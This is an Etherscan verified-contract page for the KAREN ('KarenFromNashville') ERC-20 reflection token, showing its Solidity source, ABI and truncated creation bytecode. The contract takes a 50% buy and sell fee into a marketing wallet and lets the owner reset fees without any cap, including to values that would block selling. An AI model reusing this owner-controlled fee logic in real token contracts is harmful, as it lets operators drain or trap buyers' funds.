Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000 KAREN
Holders
55
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
12,628.283603325514620917 KARENValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
KAREN
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-30 */ /** *Submitted for verification at Etherscan.io on 2023-07-30 */ // SPDX-License-Identifier: Unlicensed // t.me/karenfromnashville // karenfromnashville.com pragma solidity ^0.8.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Ownable is Context { address internal _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IuniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IuniswapV2Router01 { } contract KAREN is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; mapping(address => bool) private _isExcludedFromMaxWallet; address[] private _excluded; address public _marketingWalletAddress; address constant _burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; string private _name; string private _symbol; uint256 private _decimals; uint256 private _buyTaxFee = 0; uint256 private _buyMarketingFee = 5000; uint256 private _buyBurnFee = 0; uint256 private _sellTaxFee = 0; uint256 private _sellMarketingFee = 5000; uint256 private _sellBurnFee = 0; uint256 public _taxFee = _buyTaxFee; uint256 public _marketingFee = _buyMarketingFee; uint256 public _burnFee = _buyBurnFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousMarketingFee = _marketingFee; uint256 private _previousBurnFee = _burnFee; IUniswapV2Router02 public uniswapV2Router ; address public uniswapV2Pair; uint256 public maxWalletBalance; bool public tradingEnabled = true; constructor() { _name = "KarenFromNashville"; // _symbol = "KAREN"; // _decimals = 18; // _tTotal = 10000000 * 10**_decimals; // maxWalletBalance = 10000000 * 10**_decimals; // _rTotal = (MAX - (MAX % _tTotal)); _marketingWalletAddress = 0xbded47c930F21359E7200E6944172cDe2f20f623; // _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02 ( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory (_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _owner = _msgSender(); _isExcludedFromFee[_msgSender()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWalletAddress] = true; _isExcludedFromMaxWallet[owner()] = true; _isExcludedFromMaxWallet[address(this)] = true; _isExcludedFromMaxWallet[_burnAddress] = true; _isExcludedFromMaxWallet[_marketingWalletAddress]= true; _isExcluded[_burnAddress] = true; _isExcluded[uniswapV2Pair ] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tMarket ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _takeMarketing(tMarket); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function enableTrading() external onlyOwner { tradingEnabled = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function includeAndExcludedFromMaxWallet(address account, bool value) public onlyOwner { _isExcludedFromMaxWallet[account] = value; } function isExcludedFromMaxWallet(address account) public view returns(bool){ return _isExcludedFromMaxWallet[account]; } function setSellFeePercent( uint256 tFee, uint256 mFee, uint256 cFee ) external onlyOwner { _sellTaxFee = tFee; _taxFee = _sellTaxFee; _sellMarketingFee = mFee; _marketingFee = _sellMarketingFee; _sellBurnFee = cFee; _burnFee = _sellBurnFee; } function setBuyFeePercent( uint256 tFee, uint256 mFee, uint256 cFee ) external onlyOwner { _buyTaxFee = tFee; _taxFee = _buyTaxFee; _buyMarketingFee = mFee; _marketingFee = _buyMarketingFee; _buyBurnFee = cFee; _burnFee = _buyBurnFee; } function setMarketingWalletAddress(address _addr) external onlyOwner { _marketingWalletAddress = _addr; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tMarket ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tBurn, tMarket, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tMarket ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tBurn = calculateBurn(tAmount); uint256 tMarket = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub( tMarket ); return (tTransferAmount, tFee, tBurn, tMarket); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 tMarket, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rMarket= tMarket.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub( rMarket ); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeBurn(uint256 tBurn) private { uint256 currentRate = _getRate(); uint256 rBurn = tBurn.mul( currentRate ); _rOwned[_burnAddress] = _rOwned[_burnAddress].add( rBurn ); if (_isExcluded[_burnAddress]) _tOwned[_burnAddress] = _tOwned[_burnAddress].add( tBurn ); } function _takeMarketing(uint256 tMarket) private { uint256 currentRate = _getRate(); uint256 rMarket = tMarket.mul(currentRate); _rOwned[_marketingWalletAddress] = _rOwned[_marketingWalletAddress].add( rMarket ); if (_isExcluded[_marketingWalletAddress]) _tOwned[_marketingWalletAddress] = _tOwned[_marketingWalletAddress].add( tMarket ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**4); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div(10**4); } function calculateBurn(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div(10**4); } function removeAllFee() private { _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _previousBurnFee = _burnFee; _taxFee = 0; _marketingFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; _burnFee = _previousBurnFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && !tradingEnabled) { require(tradingEnabled, "Trading is not enabled yet"); } if ( from != owner() && to != address(this) && to != _burnAddress && to != uniswapV2Pair ) { uint256 currentBalance = balanceOf(to); require( _isExcludedFromMaxWallet[to] || (currentBalance + amount <= maxWalletBalance), "ERC20: Reached Max wallet holding" ); } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } else { if (from == uniswapV2Pair ) { _taxFee = _buyTaxFee; _marketingFee = _buyMarketingFee; _burnFee = _buyBurnFee; } else if (to == uniswapV2Pair ) { _taxFee = _sellTaxFee; _marketingFee = _sellMarketingFee; _burnFee = _sellBurnFee; } else { _taxFee = 0; _marketingFee = 0; _burnFee = 0; } } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tMarket ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _takeMarketing(tMarket); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tMarket ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _takeMarketing(tMarket); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tMarket ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeBurn(tBurn); _takeMarketing(tMarket); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWalletAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeAndExcludedFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tFee","type":"uint256"},{"internalType":"uint256","name":"mFee","type":"uint256"},{"internalType":"uint256","name":"cFee","type":"uint256"}],"name":"setBuyFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tFee","type":"uint256"},{"internalType":"uint256","name":"mFee","type":"uint256"},{"internalType":"uint256","name":"cFee","type":"uint256"}],"name":"setSellFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526000601055611388601155600060125560006013556113886014556000601555601054601655601154601755601254601855601654601955601754601a55601854601b556001601f60006101000a81548160ff0219169083151502179055503480156200007057600080fd5b50620000816200095e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36040518060400160405280601281526020017f4b6172656e46726f6d4e61736876696c6c650000000000000000000000000000815250600d908162000181919062000c09565b506040518060400160405280600581526020017f4b4152454e000000000000000000000000000000000000000000000000000000815250600e9081620001c8919062000c09565b506012600f81905550600f54600a620001e2919062000e73565b62989680620001f2919062000ec4565b600a81905550600f54600a62000209919062000e73565b6298968062000219919062000ec4565b601e81905550600a5460001962000231919062000f54565b60001962000240919062000f8c565b600b8190555073bded47c930f21359e7200e6944172cde2f20f623600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460026000620002b26200095e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000355573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037b919062001031565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000409919062001031565b6040518363ffffffff1660e01b81526004016200042892919062001074565b6020604051808303816000875af115801562000448573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046e919062001031565b601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004ff6200095e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620005546200095e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760006200068d6200096660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008ee6200095e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200094f9190620010b2565b60405180910390a350620010cf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a1157607f821691505b60208210810362000a275762000a26620009c9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a52565b62000a9d868362000a52565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000aea62000ae462000ade8462000ab5565b62000abf565b62000ab5565b9050919050565b6000819050919050565b62000b068362000ac9565b62000b1e62000b158262000af1565b84845462000a5f565b825550505050565b600090565b62000b3562000b26565b62000b4281848462000afb565b505050565b5b8181101562000b6a5762000b5e60008262000b2b565b60018101905062000b48565b5050565b601f82111562000bb95762000b838162000a2d565b62000b8e8462000a42565b8101602085101562000b9e578190505b62000bb662000bad8562000a42565b83018262000b47565b50505b505050565b600082821c905092915050565b600062000bde6000198460080262000bbe565b1980831691505092915050565b600062000bf9838362000bcb565b9150826002028217905092915050565b62000c14826200098f565b67ffffffffffffffff81111562000c305762000c2f6200099a565b5b62000c3c8254620009f8565b62000c4982828562000b6e565b600060209050601f83116001811462000c81576000841562000c6c578287015190505b62000c78858262000beb565b86555062000ce8565b601f19841662000c918662000a2d565b60005b8281101562000cbb5784890151825560018201915060208501945060208101905062000c94565b8683101562000cdb578489015162000cd7601f89168262000bcb565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000d7e5780860481111562000d565762000d5562000cf0565b5b600185161562000d665780820291505b808102905062000d768562000d1f565b945062000d36565b94509492505050565b60008262000d99576001905062000e6c565b8162000da9576000905062000e6c565b816001811462000dc2576002811462000dcd5762000e03565b600191505062000e6c565b60ff84111562000de25762000de162000cf0565b5b8360020a91508482111562000dfc5762000dfb62000cf0565b5b5062000e6c565b5060208310610133831016604e8410600b841016171562000e3d5782820a90508381111562000e375762000e3662000cf0565b5b62000e6c565b62000e4c848484600162000d2c565b9250905081840481111562000e665762000e6562000cf0565b5b81810290505b9392505050565b600062000e808262000ab5565b915062000e8d8362000ab5565b925062000ebc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d87565b905092915050565b600062000ed18262000ab5565b915062000ede8362000ab5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000f1a5762000f1962000cf0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000f618262000ab5565b915062000f6e8362000ab5565b92508262000f815762000f8062000f25565b5b828206905092915050565b600062000f998262000ab5565b915062000fa68362000ab5565b925082820390508181111562000fc15762000fc062000cf0565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ff98262000fcc565b9050919050565b6200100b8162000fec565b81146200101757600080fd5b50565b6000815190506200102b8162001000565b92915050565b6000602082840312156200104a576200104962000fc7565b5b60006200105a848285016200101a565b91505092915050565b6200106e8162000fec565b82525050565b60006040820190506200108b600083018562001063565b6200109a6020830184620010